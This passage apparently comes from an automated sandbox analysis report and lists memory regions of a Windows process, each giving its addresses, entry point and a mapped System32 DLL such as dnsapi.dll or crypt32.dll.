= 0x7ffa0b320000 end_va = 0x7ffa0b32dfff monitored = 0 entry_point = 0x7ffa0b321460 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 857 start_va = 0x7ffa0b330000 end_va = 0x7ffa0b33bfff monitored = 0 entry_point = 0x7ffa0b332830 region_type = mapped_file name = "bi.dll" filename = "\\Windows\\System32\\bi.dll" (normalized: "c:\\windows\\system32\\bi.dll") Region: id = 858 start_va = 0x7ffa0b340000 end_va = 0x7ffa0b34ffff monitored = 0 entry_point = 0x7ffa0b341700 region_type = mapped_file name = "proximityservicepal.dll" filename = "\\Windows\\System32\\ProximityServicePal.dll" (normalized: "c:\\windows\\system32\\proximityservicepal.dll") Region: id = 859 start_va = 0x7ffa0b350000 end_va = 0x7ffa0b358fff monitored = 0 entry_point = 0x7ffa0b351ed0 region_type = mapped_file name = "proximitycommonpal.dll" filename = "\\Windows\\System32\\ProximityCommonPal.dll" (normalized: "c:\\windows\\system32\\proximitycommonpal.dll") Region: id = 860 start_va = 0x7ffa0b360000 end_va = 0x7ffa0b38cfff monitored = 0 entry_point = 0x7ffa0b362290 region_type = mapped_file name = "proximitycommon.dll" filename = "\\Windows\\System32\\ProximityCommon.dll" (normalized: "c:\\windows\\system32\\proximitycommon.dll") Region: id = 861 start_va = 0x7ffa0b390000 end_va = 0x7ffa0b3e1fff monitored = 0 entry_point = 0x7ffa0b3938e0 region_type = mapped_file name = "proximityservice.dll" filename = "\\Windows\\System32\\ProximityService.dll" (normalized: "c:\\windows\\system32\\proximityservice.dll") Region: id = 862 start_va = 0x7ffa0b4a0000 end_va = 0x7ffa0b4b4fff monitored = 0 entry_point = 0x7ffa0b4a3460 region_type = mapped_file name = "ssdpapi.dll" filename = "\\Windows\\System32\\ssdpapi.dll" (normalized: "c:\\windows\\system32\\ssdpapi.dll") Region: id = 863 start_va = 0x7ffa0b4c0000 end_va = 0x7ffa0b559fff monitored = 0 entry_point = 0x7ffa0b4dada0 region_type = mapped_file name = "shsvcs.dll" filename = "\\Windows\\System32\\shsvcs.dll" (normalized: "c:\\windows\\system32\\shsvcs.dll") Region: id = 864 start_va = 0x7ffa0b640000 end_va = 0x7ffa0b6a6fff monitored = 0 entry_point = 0x7ffa0b6463e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 865 start_va = 0x7ffa0b7a0000 end_va = 0x7ffa0b7aafff monitored = 0 entry_point = 0x7ffa0b7a1d30 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 866 start_va = 0x7ffa0b800000 end_va = 0x7ffa0b8bffff monitored = 0 entry_point = 0x7ffa0b82fd20 region_type = mapped_file name = "fveapi.dll" filename = "\\Windows\\System32\\fveapi.dll" (normalized: "c:\\windows\\system32\\fveapi.dll") Region: id = 867 start_va = 0x7ffa0b9f0000 end_va = 0x7ffa0ba09fff monitored = 0 entry_point = 0x7ffa0b9f2430 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 868 start_va = 0x7ffa0ba10000 end_va = 0x7ffa0ba25fff monitored = 0 entry_point = 0x7ffa0ba119f0 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 869 start_va = 0x7ffa0baf0000 end_va = 0x7ffa0bb27fff monitored = 0 entry_point = 0x7ffa0bb08cc0 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 870 start_va = 0x7ffa0bbe0000 end_va = 0x7ffa0bc8dfff monitored = 0 entry_point = 0x7ffa0bbf80c0 region_type = mapped_file name = "windows.networking.connectivity.dll" filename = "\\Windows\\System32\\Windows.Networking.Connectivity.dll" (normalized: "c:\\windows\\system32\\windows.networking.connectivity.dll") Region: id = 871 start_va = 0x7ffa0bc90000 end_va = 0x7ffa0bca1fff monitored = 0 entry_point = 0x7ffa0bc99260 region_type = mapped_file name = "rilproxy.dll" filename = "\\Windows\\System32\\rilproxy.dll" (normalized: "c:\\windows\\system32\\rilproxy.dll") Region: id = 872 start_va = 0x7ffa0bcb0000 end_va = 0x7ffa0bd60fff monitored = 0 entry_point = 0x7ffa0bd288b0 region_type = mapped_file name = "cellularapi.dll" filename = "\\Windows\\System32\\CellularAPI.dll" (normalized: "c:\\windows\\system32\\cellularapi.dll") Region: id = 873 start_va = 0x7ffa0bd70000 end_va = 0x7ffa0bd83fff monitored = 0 entry_point = 0x7ffa0bd72d50 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 874 start_va = 0x7ffa0bdc0000 end_va = 0x7ffa0bdfefff monitored = 0 entry_point = 0x7ffa0bde82d0 region_type = mapped_file name = "tcpipcfg.dll" filename = "\\Windows\\System32\\tcpipcfg.dll" (normalized: "c:\\windows\\system32\\tcpipcfg.dll") Region: id = 875 start_va = 0x7ffa0be00000 end_va = 0x7ffa0be13fff monitored = 0 entry_point = 0x7ffa0be02a00 region_type = mapped_file name = "bitsigd.dll" filename = "\\Windows\\System32\\bitsigd.dll" (normalized: "c:\\windows\\system32\\bitsigd.dll") Region: id = 876 start_va = 0x7ffa0c070000 end_va = 0x7ffa0c102fff monitored = 0 entry_point = 0x7ffa0c079680 region_type = mapped_file name = "msvcp_win.dll" filename = "\\Windows\\System32\\msvcp_win.dll" (normalized: "c:\\windows\\system32\\msvcp_win.dll") Region: id = 877 start_va = 0x7ffa0c150000 end_va = 0x7ffa0c167fff monitored = 0 entry_point = 0x7ffa0c151b10 region_type = mapped_file name = "locationframeworkinternalps.dll" filename = "\\Windows\\System32\\LocationFrameworkInternalPS.dll" (normalized: "c:\\windows\\system32\\locationframeworkinternalps.dll") Region: id = 878 start_va = 0x7ffa0c2b0000 end_va = 0x7ffa0c2d4fff monitored = 0 entry_point = 0x7ffa0c2c2f20 region_type = mapped_file name = "wificonnapi.dll" filename = "\\Windows\\System32\\wificonnapi.dll" (normalized: "c:\\windows\\system32\\wificonnapi.dll") Region: id = 879 start_va = 0x7ffa0c2e0000 end_va = 0x7ffa0c2f0fff monitored = 0 entry_point = 0x7ffa0c2e7ea0 region_type = mapped_file name = "dcpapi.dll" filename = "\\Windows\\System32\\dcpapi.dll" (normalized: "c:\\windows\\system32\\dcpapi.dll") Region: id = 880 start_va = 0x7ffa0c300000 end_va = 0x7ffa0c318fff monitored = 0 entry_point = 0x7ffa0c304520 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 881 start_va = 0x7ffa0c9a0000 end_va = 0x7ffa0c9befff monitored = 0 entry_point = 0x7ffa0c9a4960 region_type = mapped_file name = "ncprov.dll" filename = "\\Windows\\System32\\wbem\\NCProv.dll" (normalized: "c:\\windows\\system32\\wbem\\ncprov.dll") Region: id = 882 start_va = 0x7ffa0ca80000 end_va = 0x7ffa0ca99fff monitored = 0 entry_point = 0x7ffa0ca82cf0 region_type = mapped_file name = "locationpelegacywinlocation.dll" filename = "\\Windows\\System32\\LocationPeLegacyWinLocation.dll" (normalized: "c:\\windows\\system32\\locationpelegacywinlocation.dll") Region: id = 883 start_va = 0x7ffa0ce40000 end_va = 0x7ffa0d1c1fff monitored = 0 entry_point = 0x7ffa0ce91220 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 884 start_va = 0x7ffa0e2c0000 end_va = 0x7ffa0e3cdfff monitored = 0 entry_point = 0x7ffa0e30eaa0 region_type = mapped_file name = "mrmcorer.dll" filename = "\\Windows\\System32\\MrmCoreR.dll" (normalized: "c:\\windows\\system32\\mrmcorer.dll") Region: id = 885 start_va = 0x7ffa0e460000 end_va = 0x7ffa0e467fff monitored = 0 entry_point = 0x7ffa0e4613b0 region_type = mapped_file name = "dmiso8601utils.dll" filename = "\\Windows\\System32\\dmiso8601utils.dll" (normalized: "c:\\windows\\system32\\dmiso8601utils.dll") Region: id = 886 start_va = 0x7ffa0e6d0000 end_va = 0x7ffa0e724fff monitored = 0 entry_point = 0x7ffa0e6d3fb0 region_type = mapped_file name = "policymanager.dll" filename = "\\Windows\\System32\\policymanager.dll" (normalized: "c:\\windows\\system32\\policymanager.dll") Region: id = 887 start_va = 0x7ffa0e730000 end_va = 0x7ffa0e766fff monitored = 0 entry_point = 0x7ffa0e736020 region_type = mapped_file name = "gnssadapter.dll" filename = "\\Windows\\System32\\GnssAdapter.dll" (normalized: "c:\\windows\\system32\\gnssadapter.dll") Region: id = 888 start_va = 0x7ffa0e770000 end_va = 0x7ffa0e78ffff monitored = 0 entry_point = 0x7ffa0e7739a0 region_type = mapped_file name = "locationwinpalmisc.dll" filename = "\\Windows\\System32\\LocationWinPalMisc.dll" (normalized: "c:\\windows\\system32\\locationwinpalmisc.dll") Region: id = 889 start_va = 0x7ffa0e790000 end_va = 0x7ffa0e7a6fff monitored = 0 entry_point = 0x7ffa0e795630 region_type = mapped_file name = "sens.dll" filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll") Region: id = 890 start_va = 0x7ffa0e7b0000 end_va = 0x7ffa0e7c2fff monitored = 0 entry_point = 0x7ffa0e7b57f0 region_type = mapped_file name = "themeservice.dll" filename = "\\Windows\\System32\\themeservice.dll" (normalized: "c:\\windows\\system32\\themeservice.dll") Region: id = 891 start_va = 0x7ffa0e7d0000 end_va = 0x7ffa0e849fff monitored = 0 entry_point = 0x7ffa0e7f7630 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 892 start_va = 0x7ffa0e850000 end_va = 0x7ffa0e87dfff monitored = 0 entry_point = 0x7ffa0e857550 region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll") Region: id = 893 start_va = 0x7ffa0e880000 end_va = 0x7ffa0e895fff monitored = 0 entry_point = 0x7ffa0e881b60 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 894 start_va = 0x7ffa0e8a0000 end_va = 0x7ffa0e903fff monitored = 0 entry_point = 0x7ffa0e8b5ae0 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 895 start_va = 0x7ffa0ead0000 end_va = 0x7ffa0eb10fff monitored = 0 entry_point = 0x7ffa0ead4840 region_type = mapped_file name = "usermgrproxy.dll" filename = "\\Windows\\System32\\UserMgrProxy.dll" (normalized: "c:\\windows\\system32\\usermgrproxy.dll") Region: id = 896 start_va = 0x7ffa0eb20000 end_va = 0x7ffa0eb2bfff monitored = 0 entry_point = 0x7ffa0eb214d0 region_type = mapped_file name = "locationframeworkps.dll" filename = "\\Windows\\System32\\LocationFrameworkPS.dll" (normalized: "c:\\windows\\system32\\locationframeworkps.dll") Region: id = 897 start_va = 0x7ffa0eb30000 end_va = 0x7ffa0ec65fff monitored = 0 entry_point = 0x7ffa0eb5f350 region_type = mapped_file name = "wintypes.dll" filename = "\\Windows\\System32\\WinTypes.dll" (normalized: "c:\\windows\\system32\\wintypes.dll") Region: id = 898 start_va = 0x7ffa0ec70000 end_va = 0x7ffa0ed55fff monitored = 0 entry_point = 0x7ffa0ec8cf10 region_type = mapped_file name = "usermgr.dll" filename = "\\Windows\\System32\\usermgr.dll" (normalized: "c:\\windows\\system32\\usermgr.dll") Region: id = 899 start_va = 0x7ffa0ed60000 end_va = 0x7ffa0ee27fff monitored = 0 entry_point = 0x7ffa0eda13f0 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 900 start_va = 0x7ffa0ee30000 end_va = 0x7ffa0ee90fff monitored = 0 entry_point = 0x7ffa0ee34b50 region_type = mapped_file name = "wlanapi.dll" filename = "\\Windows\\System32\\wlanapi.dll" (normalized: "c:\\windows\\system32\\wlanapi.dll") Region: id = 901 start_va = 0x7ffa0eea0000 end_va = 0x7ffa0f01bfff monitored = 0 entry_point = 0x7ffa0eef1650 region_type = mapped_file name = "locationframework.dll" filename = "\\Windows\\System32\\LocationFramework.dll" (normalized: "c:\\windows\\system32\\locationframework.dll") Region: id = 902 start_va = 0x7ffa0f020000 end_va = 0x7ffa0f02afff monitored = 0 entry_point = 0x7ffa0f021770 region_type = mapped_file name = "lfsvc.dll" filename = "\\Windows\\System32\\lfsvc.dll" (normalized: "c:\\windows\\system32\\lfsvc.dll") Region: id = 903 start_va = 0x7ffa0f030000 end_va = 0x7ffa0f06dfff monitored = 0 entry_point = 0x7ffa0f03a050 region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 904 start_va = 0x7ffa0f070000 end_va = 0x7ffa0f096fff monitored = 0 entry_point = 0x7ffa0f073bf0 region_type = mapped_file name = "profsvcext.dll" filename = "\\Windows\\System32\\profsvcext.dll" (normalized: "c:\\windows\\system32\\profsvcext.dll") Region: id = 905 start_va = 0x7ffa0f0a0000 end_va = 0x7ffa0f0e9fff monitored = 0 entry_point = 0x7ffa0f0aac30 region_type = mapped_file name = "deviceaccess.dll" filename = "\\Windows\\System32\\deviceaccess.dll" (normalized: "c:\\windows\\system32\\deviceaccess.dll") Region: id = 906 start_va = 0x7ffa0f0f0000 end_va = 0x7ffa0f144fff monitored = 0 entry_point = 0x7ffa0f0ffc00 region_type = mapped_file name = "profsvc.dll" filename = "\\Windows\\System32\\profsvc.dll" (normalized: "c:\\windows\\system32\\profsvc.dll") Region: id = 907 start_va = 0x7ffa0f190000 end_va = 0x7ffa0f221fff monitored = 0 entry_point = 0x7ffa0f1da780 region_type = mapped_file name = "msvcp110_win.dll" filename = "\\Windows\\System32\\msvcp110_win.dll" (normalized: "c:\\windows\\system32\\msvcp110_win.dll") Region: id = 908 start_va = 0x7ffa0f2b0000 end_va = 0x7ffa0f2bcfff monitored = 0 entry_point = 0x7ffa0f2b1420 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll") Region: id = 909 start_va = 0x7ffa0f2d0000 end_va = 0x7ffa0f2dffff monitored = 0 entry_point = 0x7ffa0f2d2c60 region_type = mapped_file name = "usermgrcli.dll" filename = "\\Windows\\System32\\usermgrcli.dll" (normalized: "c:\\windows\\system32\\usermgrcli.dll") Region: id = 910 start_va = 0x7ffa0f2e0000 end_va = 0x7ffa0f2ecfff monitored = 0 entry_point = 0x7ffa0f2e2ca0 region_type = mapped_file name = "csystemeventsbrokerclient.dll" filename = "\\Windows\\System32\\CSystemEventsBrokerClient.dll" (normalized: "c:\\windows\\system32\\csystemeventsbrokerclient.dll") Region: id = 911 start_va = 0x7ffa0f2f0000 end_va = 0x7ffa0f31efff monitored = 0 entry_point = 0x7ffa0f2f8910 region_type = mapped_file name = "wptaskscheduler.dll" filename = "\\Windows\\System32\\WPTaskScheduler.dll" (normalized: "c:\\windows\\system32\\wptaskscheduler.dll") Region: id = 912 start_va = 0x7ffa0f370000 end_va = 0x7ffa0f3ddfff monitored = 0 entry_point = 0x7ffa0f377f60 region_type = mapped_file name = "taskcomp.dll" filename = "\\Windows\\System32\\taskcomp.dll" (normalized: "c:\\windows\\system32\\taskcomp.dll") Region: id = 913 start_va = 0x7ffa0f3e0000 end_va = 0x7ffa0f3f0fff monitored = 0 entry_point = 0x7ffa0f3e3320 region_type = mapped_file name = "wmiclnt.dll" filename = "\\Windows\\System32\\wmiclnt.dll" (normalized: "c:\\windows\\system32\\wmiclnt.dll") Region: id = 914 start_va = 0x7ffa0f430000 end_va = 0x7ffa0f465fff monitored = 0 entry_point = 0x7ffa0f440070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 915 start_va = 0x7ffa0fc30000 end_va = 0x7ffa0fc70fff monitored = 0 entry_point = 0x7ffa0fc47eb0 region_type = mapped_file name = "ubpm.dll" filename = "\\Windows\\System32\\ubpm.dll" (normalized: "c:\\windows\\system32\\ubpm.dll") Region: id = 916 start_va = 0x7ffa0fc80000 end_va = 0x7ffa0fd7bfff monitored = 0 entry_point = 0x7ffa0fcb6df0 region_type = mapped_file name = "schedsvc.dll" filename = "\\Windows\\System32\\schedsvc.dll" (normalized: "c:\\windows\\system32\\schedsvc.dll") Region: id = 917 start_va = 0x7ffa0fe10000 end_va = 0x7ffa0fecefff monitored = 0 entry_point = 0x7ffa0fe31c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 918 start_va = 0x7ffa0ff20000 end_va = 0x7ffa0ff29fff monitored = 0 entry_point = 0x7ffa0ff21660 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 919 start_va = 0x7ffa0ff30000 end_va = 0x7ffa0ff47fff monitored = 0 entry_point = 0x7ffa0ff35910 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 920 start_va = 0x7ffa0ff50000 end_va = 0x7ffa1009cfff monitored = 0 entry_point = 0x7ffa0ff93da0 region_type = mapped_file name = "gpsvc.dll" filename = "\\Windows\\System32\\gpsvc.dll" (normalized: "c:\\windows\\system32\\gpsvc.dll") Region: id = 921 start_va = 0x7ffa10cc0000 end_va = 0x7ffa11152fff monitored = 0 entry_point = 0x7ffa10ccf760 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 922 start_va = 0x7ffa11160000 end_va = 0x7ffa111c6fff monitored = 0 entry_point = 0x7ffa1117e710 region_type = mapped_file name = "bcp47langs.dll" filename = "\\Windows\\System32\\BCP47Langs.dll" (normalized: "c:\\windows\\system32\\bcp47langs.dll") Region: id = 923 start_va = 0x7ffa11220000 end_va = 0x7ffa113a5fff monitored = 0 entry_point = 0x7ffa1126d700 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 924 start_va = 0x7ffa113b0000 end_va = 0x7ffa113cbfff monitored = 0 entry_point = 0x7ffa113b37a0 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 925 start_va = 0x7ffa113d0000 end_va = 0x7ffa113dafff monitored = 0 entry_point = 0x7ffa113d1de0 region_type = mapped_file name = "bitsperf.dll" filename = "\\Windows\\System32\\bitsperf.dll" (normalized: "c:\\windows\\system32\\bitsperf.dll") Region: id = 926 start_va = 0x7ffa11410000 end_va = 0x7ffa11422fff monitored = 0 entry_point = 0x7ffa11412760 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 927 start_va = 0x7ffa114c0000 end_va = 0x7ffa114c9fff monitored = 0 entry_point = 0x7ffa114c1350 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 928 start_va = 0x7ffa11600000 end_va = 0x7ffa11607fff monitored = 0 entry_point = 0x7ffa116013e0 region_type = mapped_file name = "dabapi.dll" filename = "\\Windows\\System32\\dabapi.dll" (normalized: "c:\\windows\\system32\\dabapi.dll") Region: id = 929 start_va = 0x7ffa11640000 end_va = 0x7ffa1167ffff monitored = 0 entry_point = 0x7ffa11651960 region_type = mapped_file name = "brokerlib.dll" filename = "\\Windows\\System32\\BrokerLib.dll" (normalized: "c:\\windows\\system32\\brokerlib.dll") Region: id = 930 start_va = 0x7ffa117d0000 end_va = 0x7ffa117f6fff monitored = 0 entry_point = 0x7ffa117d7940 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 931 start_va = 0x7ffa11800000 end_va = 0x7ffa118a9fff monitored = 0 entry_point = 0x7ffa11827910 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 932 start_va = 0x7ffa118b0000 end_va = 0x7ffa119affff monitored = 0 entry_point = 0x7ffa118f0f80 region_type = mapped_file name = "twinapi.appcore.dll" filename = "\\Windows\\System32\\twinapi.appcore.dll" (normalized: "c:\\windows\\system32\\twinapi.appcore.dll") Region: id = 933 start_va = 0x7ffa11a40000 end_va = 0x7ffa11a4bfff monitored = 0 entry_point = 0x7ffa11a42480 region_type = mapped_file name = "sysntfy.dll" filename = "\\Windows\\System32\\sysntfy.dll" (normalized: "c:\\windows\\system32\\sysntfy.dll") Region: id = 934 start_va = 0x7ffa11b10000 end_va = 0x7ffa11b41fff monitored = 0 entry_point = 0x7ffa11b22340 region_type = mapped_file name = "fwbase.dll" filename = "\\Windows\\System32\\fwbase.dll" (normalized: "c:\\windows\\system32\\fwbase.dll") Region: id = 935 start_va = 0x7ffa11d80000 end_va = 0x7ffa11d8bfff monitored = 0 entry_point = 0x7ffa11d82790 region_type = mapped_file name = "hid.dll" filename = "\\Windows\\System32\\hid.dll" (normalized: "c:\\windows\\system32\\hid.dll") Region: id = 936 start_va = 0x7ffa11d90000 end_va = 0x7ffa11db3fff monitored = 0 entry_point = 0x7ffa11d93260 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 937 start_va = 0x7ffa11f30000 end_va = 0x7ffa12023fff monitored = 0 entry_point = 0x7ffa11f3a960 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 938 start_va = 0x7ffa12080000 end_va = 0x7ffa120c8fff monitored = 0 entry_point = 0x7ffa1208a090 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 939 start_va = 0x7ffa121a0000 end_va = 0x7ffa121abfff monitored = 0 entry_point = 0x7ffa121a27e0 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 940 start_va = 0x7ffa12280000 end_va = 0x7ffa122b0fff monitored = 0 entry_point = 0x7ffa12287d10 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 941 start_va = 0x7ffa122e0000 end_va = 0x7ffa12359fff monitored = 0 entry_point = 0x7ffa12301a50 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 942 start_va = 0x7ffa123a0000 end_va = 0x7ffa123d3fff monitored = 0 entry_point = 0x7ffa123bae70 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 943 start_va = 0x7ffa123e0000 end_va = 0x7ffa123e9fff monitored = 0 entry_point = 0x7ffa123e1830 region_type = mapped_file name = "dpapi.dll" filename = "\\Windows\\System32\\dpapi.dll" (normalized: "c:\\windows\\system32\\dpapi.dll") Region: id = 944 start_va = 0x7ffa124f0000 end_va = 0x7ffa1250efff monitored = 0 entry_point = 0x7ffa124f5d30 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 945 start_va = 0x7ffa12660000 end_va = 0x7ffa126bbfff monitored = 0 entry_point = 0x7ffa12676f70 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 946 start_va = 0x7ffa12710000 end_va = 0x7ffa12726fff monitored = 0 entry_point = 0x7ffa127179d0 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 947 start_va = 0x7ffa12830000 end_va = 0x7ffa1283afff monitored = 0 entry_point = 0x7ffa128319a0 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 948 start_va = 0x7ffa12870000 end_va = 0x7ffa12890fff monitored = 0 entry_point = 0x7ffa12880250 region_type = mapped_file name = "joinutil.dll" filename = "\\Windows\\System32\\joinutil.dll" (normalized: "c:\\windows\\system32\\joinutil.dll") Region: id = 949 start_va = 0x7ffa128c0000 end_va = 0x7ffa128f9fff monitored = 0 entry_point = 0x7ffa128c8d20 region_type = mapped_file name = "ntasn1.dll" filename = "\\Windows\\System32\\ntasn1.dll" (normalized: "c:\\windows\\system32\\ntasn1.dll") Region: id = 950 start_va = 0x7ffa12900000 end_va = 0x7ffa12926fff monitored = 0 entry_point = 0x7ffa12910aa0 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 951 start_va = 0x7ffa12a10000 end_va = 0x7ffa12a3cfff monitored = 0 entry_point = 0x7ffa12a29d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 952 start_va = 0x7ffa12ba0000 end_va = 0x7ffa12bf5fff monitored = 0 entry_point = 0x7ffa12bb0bf0 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 953 start_va = 0x7ffa12c00000 end_va = 0x7ffa12c18fff monitored = 0 entry_point = 0x7ffa12c05e10 region_type = mapped_file name = "eventaggregation.dll" filename = "\\Windows\\System32\\EventAggregation.dll" (normalized: "c:\\windows\\system32\\eventaggregation.dll") Region: id = 954 start_va = 0x7ffa12c20000 end_va = 0x7ffa12c48fff monitored = 0 entry_point = 0x7ffa12c34530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 955 start_va = 0x7ffa12c50000 end_va = 0x7ffa12ce8fff monitored = 0 entry_point = 0x7ffa12c7f4e0 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 956 start_va = 0x7ffa12d90000 end_va = 0x7ffa12da3fff monitored = 0 entry_point = 0x7ffa12d952e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 957 start_va = 0x7ffa12db0000 end_va = 0x7ffa12dbffff monitored = 0 entry_point = 0x7ffa12db56e0 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 958 start_va = 0x7ffa12dc0000 end_va = 0x7ffa12e0afff monitored = 0 entry_point = 0x7ffa12dc35f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 959 start_va = 0x7ffa12e10000 end_va = 0x7ffa12e1efff monitored = 0 entry_point = 0x7ffa12e13210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 960 start_va = 0x7ffa12e20000 end_va = 0x7ffa12e74fff monitored = 0 entry_point = 0x7ffa12e37970 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 961 start_va = 0x7ffa12e80000 end_va = 0x7ffa12f34fff monitored = 0 entry_point = 0x7ffa12ec22e0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 962 start_va = 0x7ffa12f40000 end_va = 0x7ffa13106fff monitored = 0 entry_point = 0x7ffa12f9db80 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 963 start_va = 0x7ffa13110000 end_va = 0x7ffa13126fff monitored = 0 entry_point = 0x7ffa13111390 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 964 start_va = 0x7ffa13130000 end_va = 0x7ffa13317fff monitored 